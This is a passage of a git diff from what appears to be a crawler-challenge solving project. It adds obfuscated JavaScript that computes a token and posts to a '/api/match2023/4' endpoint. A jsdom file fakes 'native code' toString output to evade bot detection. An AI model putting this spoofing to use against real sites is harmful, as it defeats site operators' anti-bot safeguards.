-= 64; + continue; + case 737: + _$zg = _$zg - _$Zg[2]; + _$cs -= 146; + continue; + case 738: + if (_$bA < 0) { + _$cl = _$oA; + _$vl = _$pg; + _$sl = _$_g; + _$nl = _$vl / _$sl; + _$fl = _$cl >> _$nl; + _$ol = _$pg; + _$ll = _$fl >> _$ol; + _$bA = _$ll + } + _$cs -= 103; + continue; + case 739: + _$Cg = _$Cg + 1; + _$cs -= 736; + continue; + case 740: + _$yA = _$Ng[0]; + _$cs -= 242; + continue; + case 741: + _$Cg = _$Cg.p(_$jg); + _$cs += 6; + continue; + case 742: + _$Gg = _$e; + _$Ng = 1; + _$Zg = []; + _$cs -= 115; + continue; + case 743: + _$zg += _$zC; + _$cs -= 140; + continue; + case 744: + _$bw = _$bw * 5; + _$cs -= 710; + continue; + case 745: + _$sC = _$sC.p(_$cC); + _$cs -= 329; + continue; + case 746: + _$Rj = _$tS; + _$_j = 1; + _$cs -= 669; + continue; + case 747: + _$tj = _$a; + _$ij = 1; + _$cs -= 406; + continue; + case 748: + _$Ld = _$Ng + _$BC; + _$aj = []; + _$cs -= 690; + continue; + case 749: + _$eQ = []; + _$cs -= 570; + continue; + case 750: + _$zg = _$zg + _$Zg[6]; + _$cs -= 37; + continue; + case 751: + for (_$rQ = 0; _$rQ < _$hA.length; _$rQ++) { + _$cl = _$pD; + _$vl = _$hA; + _$sl = _$rQ; + _$nl = _$vl[_$sl]; + _$fl = 3; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$pD = _$hl + } + _$cs -= 412; + continue; + case 752: + _$xT = _$xT + 1; + _$cs -= 490; + continue; + case 753: + _$oC = [3552, 3136, 3392, 3232, 3168, 3712]; + _$cs -= 241; + continue; + case 754: + _$oA = -5; + _$cs -= 733; + continue; + case 755: + _$Fg = _$Fg + 1; + _$cs -= 570; + continue; + case 756: + for (_$cQ = 0; _$cQ < _$gD.length; _$cQ++) { + _$cl = _$jw; + _$vl = _$gD; + _$sl = _$cQ; + _$nl = _$vl[_$sl]; + _$fl = 6; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$jw = _$hl + } + _$cs -= 500; + continue; + case 757: + return _$Eg; + case 758: + if (_$zg - _$Zg[6]) { + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 3; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$zg = _$fl + } + _$cs -= 398; + continue; + case 759: + _$MY = _$JW; + _$cs -= 252; + continue; + case 760: + _$tY = _$RW; + _$cs -= 85; + continue; + case 761: + for (_$wy = 0; _$wy < _$lg; _$wy++) { + _$cl = _$jA; + _$vl = _$hg; + _$sl = _$cl[_$vl]; + _$jd = _$sl; + _$cl = _$jA; + _$vl = _$hg; + _$sl = 1; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$fg = _$fl; + _$cl = _$hg; + _$vl = 2; + _$sl = _$cl + _$vl; + _$hg = _$sl; + _$cl = _$jd; + _$vl = 46; + _$sl = _$cl - _$vl; + _$jd = _$sl; + _$cl = _$fg; + _$vl = 46; + _$sl = _$cl - _$vl; + _$fg = _$sl; + _$cl = _$fg; + _$vl = 19; + _$sl = _$cl * _$vl; + _$nl = _$jd; + _$fl = _$sl + _$nl; + _$yA = _$fl; + _$cl = _$yA; + _$vl = 11; + _$sl = _$cl ^ _$vl; + _$CA = _$sl; + _$cl = _$yy; + _$vl = _$wy; + _$sl = _$CA; + _$cl[_$vl] = _$sl + } + _$cs += 148; + case 762: + _$wg = _$BC; + _$cs -= 558; + continue; + case 763: + _$wW = []; + _$cs += 20; + continue; + case 764: + for (_$vQ = 1; _$vQ < _$Fy.length; _$vQ++) { + _$cl = _$Fy; + _$vl = _$OC; + _$sl = _$vQ; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$Jy; + _$ol = _$OC; + _$ll = _$vQ; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$Jy += _$El + } + _$cs -= 458; + continue; + case 765: + _$iC = 1; + _$cs -= 656; + continue; + case 766: + for (_$sQ = 1; _$sQ < _$Kw.length; _$sQ++) { + _$cl = _$Kw; + _$vl = _$OC; + _$sl = _$sQ; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$Qw; + _$ol = _$OC; + _$ll = _$sQ; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$Qw += _$El + } + _$cs -= 231; + continue; + case 767: + _$GD = 1; + _$cs -= 521; + continue; + case 768: + _$ND = _$ND.p(_$GD); + _$cs += 187; + case 769: + _$nQ = _$Ow; + _$fQ = {}; + _$tQ = _$Wk + _$Lt + _$os + _$is + _$gs + _$ts + _$bs + _$Ss + _$Is + _$ws + _$hs + _$us + _$Go + _$ks + _$ps + _$Ms + _$ds + _$ys + _$ls + _$Zs; + _$iQ = _$bW(_$tQ.d(0) - _$tQ.length); + _$cs -= 175; + continue; + case 770: + _$lg = 1; + _$cs -= 315; + continue; + case 771: + for (_$oQ = 0; _$oQ < _$By.length; ) { + _$cl = _$eA; + _$vl = _$_C; + _$sl = _$By; + _$nl = _$_C; + _$fl = _$oQ; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$OC; + _$hl = _$ol[_$ll](); + _$gl = 32; + _$Zl = _$hl - _$gl; + _$zl = _$cl[_$vl](_$Zl); + _$kQ = _$zl; + _$El = _$eA; + _$Rl = _$_C; + _$_l = _$By; + _$Ll = _$_C; + _$Vl = _$oQ; + _$ql = 1; + _$tu = _$Vl + _$ql; + _$iu = _$_l[_$Ll](_$tu); + _$ou = _$OC; + _$ku = _$iu[_$ou](); + _$bu = 32; + _$lu = _$ku - _$bu; + _$hu = _$El[_$Rl](_$lu); + _$bQ = _$hu; + _$cl = _$Xy; + _$vl = _$kQ; + _$sl = _$bQ; + _$cl[_$vl] = _$sl; + _$cl = _$oQ; + _$vl = 2; + _$sl = _$cl + _$vl; + _$oQ = _$sl + } + _$cs -= 569; + continue; + case 772: + for (_$Oj = 0; _$Oj < _$Zu.length; _$Oj++) { + _$cl = _$yg; + _$vl = _$Zu; + _$sl = _$Oj; + _$nl = _$vl[_$sl]; + _$fl = 3; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$yg = _$hl + } + _$cs -= 511; + continue; + case 773: + for (_$ig = 0; _$ig < _$Ng.length; _$ig++) { + _$cl = _$ng; + _$vl = _$Ng; + _$sl = _$ig; + _$nl = _$vl[_$sl]; + _$fl = 13; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$ng = _$hl + } + _$cs -= 337; + continue; + case 774: + if (_$zg.c(5) > _$Zg.c(7)) { + _$cl = _$zg; + _$vl = _$NC; + _$sl = _$cl + _$vl; + _$zg = _$sl + } + _$cs -= 408; + continue; + case 775: + _$$u = _$$u + 1; + _$cs += 6; + continue; + case 776: + _$RQ = [488, 928, 832, 840, 920, 352]; + _$cs -= 226; + continue; + case 777: + _$pg = _$oA; + _$cs -= 437; + continue; + case 778: + _$DY = _$Sg; + _$cs -= 234; + continue; + case 779: + _$Zg += _$GC; + _$cs -= 357; + continue; + case 780: + for (_$gQ = 1; _$gQ < _$tQ.length; _$gQ++) { + _$cl = _$tQ; + _$vl = _$OC; + _$sl = _$gQ; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$iQ; + _$ol = _$OC; + _$ll = _$gQ; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$iQ += _$El + } + _$cs -= 662; + continue; + case 781: + _$Ju = 1; + _$cs -= 665; + continue; + case 782: + for (_$aj = 1; _$aj < _$Ep.length; _$aj++) { + _$cl = _$Ep; + _$vl = _$OC; + _$sl = _$aj; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$Ld; + _$ol = _$OC; + _$ll = _$aj; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$Ld += _$El + } + _$cs -= 495; + continue; + case 783: + for (_$Ad = 0, + _$Sd = _$ID.length; _$Ad < _$Sd; _$Ad += 2) { + _$cl = _$wW; + _$vl = _$LC; + _$sl = _$ID; + _$nl = _$Ad; + _$fl = _$sl[_$nl]; + _$cl[_$vl](_$fl) + } + _$cs -= 528; + continue; + case 784: + _$Dd = _$Kd; + _$cs -= 639; + continue; + case 785: + if (_$wD && _$qg) { + _$cl = _$DS; + _$uQ = _$cl; + _$vl = 1; + _$pQ = _$vl; + _$cl = _$pQ; + _$vl = 1; + _$sl = _$cl + _$vl; + _$pQ = _$sl; + _$cl = 1; + _$uQ = _$cl; + _$cl = _$BC; + _$yQ = _$cl; + _$cl = _$pQ; + _$uQ = _$cl; + _$cl = 1900544; + _$vl = 1818624; + _$sl = 1835008; + _$nl = [_$cl, _$vl, _$sl]; + _$pQ = _$nl; + for (_$wQ = 0; _$wQ < _$pQ.length; _$wQ++) { + _$cl = _$yQ; + _$vl = _$pQ; + _$sl = _$wQ; + _$nl = _$vl[_$sl]; + _$fl = 14; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$yQ = _$hl + } + _$cl = _$pQ; + _$vl = _$LC; + _$sl = _$uQ; + _$nl = _$cl[_$vl](_$sl); + _$pQ = _$nl; + _$cl = _$CS; + _$IQ = _$cl; + _$vl = 1; + _$AQ = _$vl; + _$cl = _$AQ; + _$vl = 1; + _$sl = _$cl + _$vl; + _$AQ = _$sl; + _$cl = 1; + _$IQ = _$cl; + _$cl = _$BC; + _$TQ = _$cl; + _$cl = _$AQ; + _$IQ = _$cl; + _$cl = 1900544; + _$vl = 1818624; + _$sl = 1835008; + _$nl = [_$cl, _$vl, _$sl]; + _$AQ = _$nl; + for (_$jQ = 0; _$jQ < _$AQ.length; _$jQ++) { + _$cl = _$TQ; + _$vl = _$AQ; + _$sl = _$jQ; + _$nl = _$vl[_$sl]; + _$fl = 14; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$TQ = _$hl + } + _$cl = _$AQ; + _$vl = _$LC; + _$sl = _$IQ; + _$nl = _$cl[_$vl](_$sl); + _$AQ = _$nl; + _$cl = _$jS; + _$QQ = _$cl; + _$vl = 1; + _$WQ = _$vl; + _$cl = _$WQ; + _$vl = 1; + _$sl = _$cl + _$vl; + _$WQ = _$sl; + _$cl = 1; + _$QQ = _$cl; + _$cl = _$BC; + _$YQ = _$cl; + _$cl = _$WQ; + _$QQ = _$cl; + _$cl = 3328; + _$vl = 3104; + _$sl = 3680; + _$nl = 2528; + _$fl = 3808; + _$ol = 3520; + _$ll = 2560; + _$hl = 3648; + _$gl = 3552; + _$Zl = 3584; + _$zl = 3232; + _$El = 3648; + _$Rl = 3712; + _$_l = 3872; + _$Ll = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El, _$Rl, _$_l]; + _$WQ = _$Ll; + for (_$UQ = 0; _$UQ < _$WQ.length; _$UQ++) { + _$cl = _$YQ; + _$vl = _$WQ; + _$sl = _$UQ; + _$nl = _$vl[_$sl]; + _$fl = 5; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$YQ = _$hl + } + _$cl = _$WQ; + _$vl = _$LC; + _$sl = _$QQ; + _$nl = _$cl[_$vl](_$sl); + _$WQ = _$nl; + _$cl = _$qg; + _$vl = _$YQ; + _$sl = _$yQ; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$nl; + if (!_$fl) { + _$nh = _$qg; + _$fh = _$TQ; + _$fl = _$nh[_$fh] + } + _$wD = _$fl + } + _$cs -= 556; + continue; + case 786: + if (_$wD) { + _$cl = _$WA; + _$OQ = _$cl; + _$vl = 1; + _$PQ = _$vl; + _$cl = _$PQ; + _$vl = 1; + _$sl = _$cl + _$vl; + _$PQ = _$sl; + _$cl = 1; + _$OQ = _$cl; + _$cl = _$BC; + _$NQ = _$cl; + _$cl = _$PQ; + _$OQ = _$cl; + _$cl = 7424; + _$vl = 7104; + _$sl = 7168; + _$nl = [_$cl, _$vl, _$sl]; + _$PQ = _$nl; + for (_$ZQ = 0; _$ZQ < _$PQ.length; _$ZQ++) { + _$cl = _$NQ; + _$vl = _$PQ; + _$sl = _$ZQ; + _$nl = _$vl[_$sl]; + _$fl = 6; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$NQ = _$hl + } + _$cl = _$PQ; + _$vl = _$LC; + _$sl = _$OQ; + _$nl = _$cl[_$vl](_$sl); + _$PQ = _$nl; + _$cl = _$qg; + _$vl = _$NQ; + _$sl = _$cl[_$vl]; + _$qg = _$sl + } + _$cs -= 592; + continue; + case 787: + _$zQ = _$yS; + _$RQ = 1; + _$cs -= 666; + continue; + case 788: + for (_$LQ = 0; _$LQ < _$Cu.length; ) { + _$cl = _$Pd; + _$vl = _$_C; + _$sl = _$Cu; + _$nl = _$_C; + _$fl = _$LQ; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$OC; + _$hl = _$ol[_$ll](); + _$gl = 32; + _$Zl = _$hl - _$gl; + _$zl = _$cl[_$vl](_$Zl); + _$VQ = _$zl; + _$El = _$Pd; + _$Rl = _$_C; + _$_l = _$Cu; + _$Ll = _$_C; + _$Vl = _$LQ; + _$ql = 1; + _$tu = _$Vl + _$ql; + _$iu = _$_l[_$Ll](_$tu); + _$ou = _$OC; + _$ku = _$iu[_$ou](); + _$bu = 32; + _$lu = _$ku - _$bu; + _$hu = _$El[_$Rl](_$lu); + _$qQ = _$hu; + _$cl = _$Du; + _$vl = _$VQ; + _$sl = _$qQ; + _$cl[_$vl] = _$sl; + _$cl = _$LQ; + _$vl = 2; + _$sl = _$cl + _$vl; + _$LQ = _$sl + } + _$cs -= 555; + continue; + case 789: + _$Ng = _$Ng.p(_$Gg); + _$cs -= 689; + continue; + case 790: + _$HQ = _$BC; + _$cs -= 252; + continue; + case 791: + _$pY = _$mW; + _$cs -= 640; + continue; + case 792: + _$Zj = _$Zj && _$Gu[_$Lj] == _$Sg[_$Ej]; + _$cs -= 484; + continue; + case 793: + _$xQ = _$YS; + _$BQ = 1; + _$cs -= 545; + continue; + case 794: + for (_$ug = 0; _$ug < _$Oy.length; _$ug++) { + _$cl = _$Gy; + _$vl = _$LC; + _$sl = _$Oy; + _$nl = _$_C; + _$fl = _$Py; + _$ol = _$ug; + _$ll = _$fl[_$ol]; + _$hl = _$sl[_$nl](_$ll); + _$cl[_$vl](_$hl) + } + _$cs -= 483; + continue; + case 795: + for (_$XQ = 0; _$XQ < _$ND.length; _$XQ++) { + _$cl = _$Ow; + _$vl = _$ND; + _$sl = _$XQ; + _$nl = _$vl[_$sl]; + _$fl = 11; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Ow = _$hl + } + _$cs -= 27; + continue; + case 796: + _$Gg = _$Ng; + _$cs -= 352; + continue; + case 797: + _$cC = _$sC; + _$cs -= 485; + continue + } + break + } + } +} +; +_$a(); +_$a = function(_$a) { + var _$e = "请求失败"; + var _$r = "虫,我很"; + var _$c = "了,生而为"; + var _$v = "抱歉~, 请F5刷新一次页面"; + var _$s = ".page-"; + var _$n = "ge"; + var _$f = "messa"; + var _$t = "Clas"; + var _$i = "remove"; + var _$o = "age"; + var _$k = "-mess"; + var _$b = "lass"; + var _$l = "addC"; + var _$h = "eq"; + var _$g = "active"; + var _$u = "append"; + var _$p = "text"; + var _$y = ""; + var _$w = "value"; + var _$d = ""; + var _$M = "each"; + var _$I = ""; + var _$A = "data"; + var _$S = ".num"; + var _$m = "ber"; + var _$T = "-mes"; + var _$j = "sage"; + var _$C = ".page"; + var _$D = "remo"; + var _$K = "veClas"; + var _$Q = "s"; + var _$W = "addCl"; + var _$Y = "ass"; + var _$U = "comple"; + var _$O = "te"; + var _$P = "ess"; + var _$G = "succ"; + var _$N = "reSend"; + var _$Z = "befo"; + var _$z = "dataT"; + var _$E = "ype"; + var _$R = "t"; + var _$_ = "Offse"; + var _$L = "mezone"; + var _$V = "getTi"; + var _$q = "cU6Z"; + var _$H = "U="; + var _$x = "Y3tf"; + var _$B = "IT/v"; + var _$X = "JQaz/O"; + var _$F = "YtNM"; + var _$J = "OuJkS"; + var _$$ = "yyrHuz"; + var _$aa = "HO4gl"; + var _$ea = "qG+z"; + var _$ra = "atch2"; + var _$ca = "/api/m"; + var _$va = "023/4"; + var _$sa, _$na, _$fa, _$ta, _$ia, _$oa, _$ka, _$ba, _$la, _$ha, _$ga, _$ua, _$pa, _$ya, _$wa, _$da, _$Ma, _$Ia, _$Aa, _$Sa, _$ma, _$Ta, _$ja, _$Ca, _$Da, _$Ka, _$Qa, _$Wa, _$Ya, _$Ua, _$Oa, _$Pa, _$Ga, _$Na, _$Za, _$za, _$Ea, _$Ra, _$_a, _$La, _$Va; + _$sa = _$ca + _$ra + _$va; + _$na = _$sa; + _$Ga = (_$fa = {}, + _$ta = _$fa, + _$ia = "page", + _$oa = _$a, + _$ka = String(_$oa), + _$ba = _$ta[_$ia] = _$ka, + _$la = _$fa, + _$ha = "yt4", + _$ga = window, + _$ua = "ABC", + _$pa = new _$ga[_$ua], + _$ya = "z", + _$wa = _$F + _$B + _$J + _$q + _$ea + _$x + _$$ + _$aa + _$X + _$H, + _$da = Date, + _$Ma = "now", + _$Ia = _$da[_$Ma](), + _$Aa = parseInt(_$Ia), + _$Sa = 60, + _$ma = 480, + _$Ta = Date, + _$ja = new _$Ta, + _$Ca = _$V + _$L + _$_ + _$R, + _$Da = _$ja[_$Ca](), + _$Ka = _$ma + _$Da, + _$Qa = _$Sa * _$Ka, + _$Wa = 1e3, + _$Ya = _$Qa * _$Wa, + _$Ua = _$Aa + _$Ya, + _$Oa = _$pa[_$ya](_$wa, _$Ua), + _$Pa = _$la[_$ha] = _$Oa, + _$fa); + _$sa = $; + _$Na = "ajax"; + _$sa[_$Na]((_$fa = {}, + _$ta = _$fa, + _$ia = "url", + _$oa = _$na, + _$ka = _$ta[_$ia] = _$oa, + _$ba = _$fa, + _$la = _$z + _$E, + _$ha = "json", + _$ga = _$ba[_$la] = _$ha, + _$ua = _$fa, + _$pa = "async", + _$ya = true, + _$wa = _$ua[_$pa] = _$ya, + _$da = _$fa, + _$Ma = "data", + _$Ia = _$Ga, + _$Aa = _$da[_$Ma] = _$Ia, + _$Sa = _$fa, + _$ma = "type", + _$Ta = "POST", + _$ja = _$Sa[_$ma] = _$Ta, + _$Ca = _$fa, + _$Da = _$Z + _$N, + _$Ka = function(_$a) {} + , + _$Qa = _$Ca[_$Da] = _$Ka, + _$Wa = _$fa, + _$Ya = _$G + _$P, + _$Ua = function(_$e) { + var _$r = _$Y; + var _$c = _$W; + var _$v = _$Q; + var _$s = _$K; + var _$n = _$D; + var _$f = _$C; + var _$t = _$j; + var _$i = _$T; + var _$o = _$m; + var _$k = _$S; + var _$b, _$l, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R; + _$b = _$e; + _$l = _$A; + _$U = _$b[_$l]; + _$e = _$U; + _$b = _$I; + _$O = _$b; + _$b = $; + _$l = _$M; + _$U = _$e; + _$P = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t; + _$r = _$d; + _$c = _$e; + _$v = _$w; + _$s = _$c[_$v]; + _$n = _$r + _$s; + _$f = _$y; + _$t = _$n + _$f; + _$O += _$t + } + ; + _$b[_$l](_$U, _$P); + _$b = _$k + _$o; + _$l = $(_$b); + _$U = _$p; + _$P = _$I; + _$G = _$l[_$U](_$P); + _$N = _$u; + _$Z = _$O; + _$G[_$N](_$Z); + _$b = _$f + _$i + _$t; + _$l = $(_$b); + _$U = _$n + _$s + _$v; + _$P = _$g; + _$l[_$U](_$P); + _$b = _$f + _$i + _$t; + _$l = $(_$b); + _$U = _$h; + _$P = _$a; + _$G = parseInt(_$P); + _$N = 1; + _$Z = _$G - _$N; + _$z = _$l[_$U](_$Z); + _$E = _$c + _$r; + _$R = _$g; + _$z[_$E](_$R) + } + , + _$Oa = _$Wa[_$Ya] = _$Ua, + _$Pa = _$fa, + _$Za = _$U + _$O, + _$za = function() {} + , + _$Ea = _$Pa[_$Za] = _$za, + _$Ra = _$fa, + _$_a = "error", + _$La = function() { + var _$a = _$l; + var _$u = _$b; + var _$p = _$k; + var _$y = _$o; + var _$w = _$C; + var _$d = _$Q; + var _$M = _$i; + var _$I = _$t; + var _$A = _$f; + var _$S = _$n; + var _$m = _$s; + var _$T = _$v; + var _$j = _$c; + var _$D = _$r; + var _$K = _$e; + var _$W, _$Y, _$U, _$O, _$P, _$G, _$N; + _$W = _$K + _$j + _$D + _$T; + failedAlert(_$W); + _$W = _$m + _$A + _$S; + _$Y = $(_$W); + _$U = _$M + _$I + _$d; + _$O = _$g; + _$Y[_$U](_$O); + _$W = _$w + _$p + _$y; + _$Y = $(_$W); + _$U = _$h; + _$O = 0; + _$P = _$Y[_$U](_$O); + _$G = _$a + _$u; + _$N = _$g; + _$P[_$G](_$N) + } + , + _$Va = _$Ra[_$_a] = _$La, + _$fa)) +} +; +call = _$a; +_$a = 1; +call(_$a); diff --git a/env_xbb_lastest_jsdom/run/第三题.js b/env_xbb_lastest_jsdom/run/第三题.js new file mode 100644 index 00000000..6b87a632 --- /dev/null +++ b/env_xbb_lastest_jsdom/run/第三题.js @@ -0,0 +1,1475 @@ +Navigation = function() {} +; +Navigation.toString = function() { + return 'function Navigation() { [native code] }' +} +; +(function(e) { + var i = e || 2; + for (; ; ) + if (i < 2) { + if (i < 1) { + return + } else { + (function i(l, s, f, n, t, r, a, u) { + var o = e || 139; + for (; ; ) + if (o < 128) { + if (o < 64) { + if (o < 32) { + if (o < 16) { + if (o < 8) { + if (o < 4) { + if (o < 2) { + if (o < 1) { + o += 88 + } else { + v.v = !1; + o += 226 + } + } else { + if (o < 3) { + o += 243 + } else { + L = Y || l.length; + o += 4 + } + } + } else { + if (o < 6) { + if (o < 5) { + n.t.pop(); + o += 180 + } else { + o += 132 + } + } else { + if (o < 7) { + v.v = !1; + o += 208 + } else { + K++; + o += 128 + } + } + } + } else { + if (o < 12) { + if (o < 10) { + if (o < 9) { + o += 10 + } else { + o += 164 + } + } else { + if (o < 11) { + if (C = s || 0, + p = f || l.length, + j = l[C++], + m = i(l, C, -2), + C = m.i, + m.n, + x = 0, + 13 == j || 48 == j ? x = 1 : 49 == j ? x = 2 : 23 == j && (x = 3), + 13 == j || 48 == j || 49 == j || 23 == j) + o += 132; + else + o += 53 + } else { + v.v = !1; + o += 151 + } + } + } else { + if (o < 14) { + if (o < 13) { + o += 13 + } else { + R = K++; + o += 62 + } + } else { + if (o < 15) { + o += 199 + } else { + o += 1 + } + } + } + } + } else { + if (o < 24) { + if (o < 20) { + if (o < 18) { + if (o < 17) { + o += 184 + } else { + ce = (oe = ue[F])[0], + he = oe[1], + pe = oe[2], + 42 == ce && (E[he] = pe); + o += 37 + } + } else { + if (o < 19) { + F++; + o += 223 + } else { + o += 97 + } + } + } else { + if (o < 22) { + if (o < 21) { + o += 203 + } else { + return n.m = !0, + k = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + q = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + n.m = !1, + z = C++, + m = i(l, C, -3), + C = m.i, + A = m.n, + B = function() { + var s = e || 0; + for (; ; ) + return i(l, z, A, n, i, q, this, arguments) + } + , + k && (g[k] = B), + B + } + } else { + if (o < 23) { + 106 == j && (P = C++, + m = i(l, C, -3), + C = m.i, + Q = m.n, + T = C++, + m = i(l, C, -3), + C = m.i, + U = m.n, + V = C++, + m = i(l, C, -3), + C = m.i, + W = m.n, + X = C++, + m = i(l, C, -3), + C = m.i, + Y = m.n); + o += 207 + } else { + if (105 == j) + o += 75; + else + o += 107 + } + } + } + } else { + if (o < 28) { + if (o < 26) { + if (o < 25) { + o += 49 + } else { + o += 5 + } + } else { + if (o < 27) { + o -= 16 + } else { + o += 194 + } + } + } else { + if (o < 30) { + if (o < 29) { + if (v.v || v.s) + o -= 14; + else + o += 87 + } else { + K++; + o += 171 + } + } else { + if (o < 31) { + o += 108 + } else { + o += 116 + } + } + } + } + } + } else { + if (o < 48) { + if (o < 40) { + if (o < 36) { + if (o < 34) { + if (o < 33) { + if (C < p) + o += 188; + else + o += 157 + } else { + K++; + o -= 18 + } + } else { + if (o < 35) { + K++; + o += 104 + } else { + return E[E.length - 1] + } + } + } else { + if (o < 38) { + if (o < 37) { + return E + } else { + E = {}; + o += 185 + } + } else { + if (o < 39) { + return i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n) ? i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n) : (m = i(l, ++C, -3), + C = m.i, + m.n, + i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n)) + } else { + if (F < r.length) + o += 38; + else + o += 171 + } + } + } + } else { + if (o < 44) { + if (o < 42) { + if (o < 41) { + if (F < w.length) + o += 83; + else + o -= 35 + } else { + o += 194 + } + } else { + if (o < 43) { + o += 53 + } else { + o += 135 + } + } + } else { + if (o < 46) { + if (o < 45) { + o += 61 + } else { + if (32 != j) + o -= 22; + else + o += 113 + } + } else { + if (o < 47) { + F = 0; + o -= 7 + } else { + if (4 == j || 65 == j) + o += 102; + else + o += 35 + } + } + } + } + } else { + if (o < 56) { + if (o < 52) { + if (o < 50) { + if (o < 49) { + o += 151 + } else { + if (29 != j) + o += 23; + else + o += 136 + } + } else { + if (o < 51) { + o -= 2 + } else { + if (2 != x) + o += 123; + else + o += 132 + } + } + } else { + if (o < 54) { + if (o < 53) { + if (76 == j || 56 == j) + o -= 14; + else + o += 111 + } else { + 112 == j && (O = !0); + o -= 31 + } + } else { + if (o < 55) { + o += 148 + } else { + a = (s = (m = i(l, s, -2)).i) + (r = m.n) - 1, + s += r; + o -= 24 + } + } + } + } else { + if (o < 60) { + if (o < 58) { + if (o < 57) { + o -= 30 + } else { + o += 69 + } + } else { + if (o < 59) { + n.t.pop(); + o += 93 + } else { + if (Z = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + w = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + i.bind) + o += 94; + else + o += 20 + } + } + } else { + if (o < 62) { + if (o < 61) { + o -= 17 + } else { + o += 51 + } + } else { + if (o < 63) { + o -= 30 + } else { + o += 43 + } + } + } + } + } + } + } else { + if (o < 96) { + if (o < 80) { + if (o < 72) { + if (o < 68) { + if (o < 66) { + if (o < 65) { + F++; + o -= 25 + } else { + o += 167 + } + } else { + if (o < 67) { + return + } else { + o -= 3 + } + } + } else { + if (o < 70) { + if (o < 69) { + if (31 == j || 55 == j) + o -= 47; + else + o += 33 + } else { + var c = 0; + o += 11 + } + } else { + if (o < 71) { + o += 105 + } else { + return y.arguments = u, + (b = [].concat(n).concat(y)).n = a, + b.t = [], + i(l, s, f, b) + } + } + } + } else { + if (o < 76) { + if (o < 74) { + if (o < 73) { + if (73 != j && 112 != j && 106 != j) + o += 132; + else + o += 126 + } else { + o += 99 + } + } else { + if (o < 75) { + o += 96 + } else { + M = 0; + o += 65 + } + } + } else { + if (o < 78) { + if (o < 77) { + o += 139 + } else { + y[r[F]] = w[F]; + o -= 10 + } + } else { + if (o < 79) { + N += l[K++] - 128 << 7 * M++; + o += 118 + } else { + o += 65 + } + } + } + } + } else { + if (o < 88) { + if (o < 84) { + if (o < 82) { + if (o < 81) { + var h = 0; + o += 4 + } else { + ge = m.n; + o += 16 + } + } else { + if (o < 83) { + o += 86 + } else { + o -= 49 + } + } + } else { + if (o < 86) { + if (o < 85) { + for (ke in (v = {}).s = !1, + v.v = !1, + n.t.push(v), + v = n.t && n.t[n.t.length - 1], + 1 == (D = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n)) && (n.e = !0, + G = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n)[0], + n.e = !1), + 0 == D && (G = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n, !0)), + H = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + I = C++, + m = i(l, C, -3), + C = m.i, + J = m.n, + H) + qe[c++] = ke; + o += 40 + } else { + return E + } + } else { + if (o < 87) { + if (d = N + (l[K++] << 7 * M), + S = K + d - 1, + K += d, + E = i(l, R, S, n), + n.a) + o += 18; + else + o += 66 + } else { + o += 3 + } + } + } + } else { + if (o < 92) { + if (o < 90) { + if (o < 89) { + o -= 60 + } else { + o -= 77 + } + } else { + if (o < 91) { + o += 58 + } else { + o += 20 + } + } + } else { + if (o < 94) { + if (o < 93) { + o += 89 + } else { + N += l[K++] - 128 << 7 * M++; + o += 153 + } + } else { + if (o < 95) { + o += 76 + } else { + o += 39 + } + } + } + } + } + } else { + if (o < 112) { + if (o < 104) { + if (o < 100) { + if (o < 98) { + if (o < 97) { + if (this.constructor != i) + o += 26; + else + o += 128 + } else { + me = []; + o += 95 + } + } else { + if (o < 99) { + throw i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n); + o += 135 + } else { + return { + n: a, + i: s + } + } + } + } else { + if (o < 102) { + if (o < 101) { + if (v.v) + o -= 89; + else + o += 147 + } else { + o += 120 + } + } else { + if (o < 103) { + if (2 == x && v && (v.v || v.s)) + o 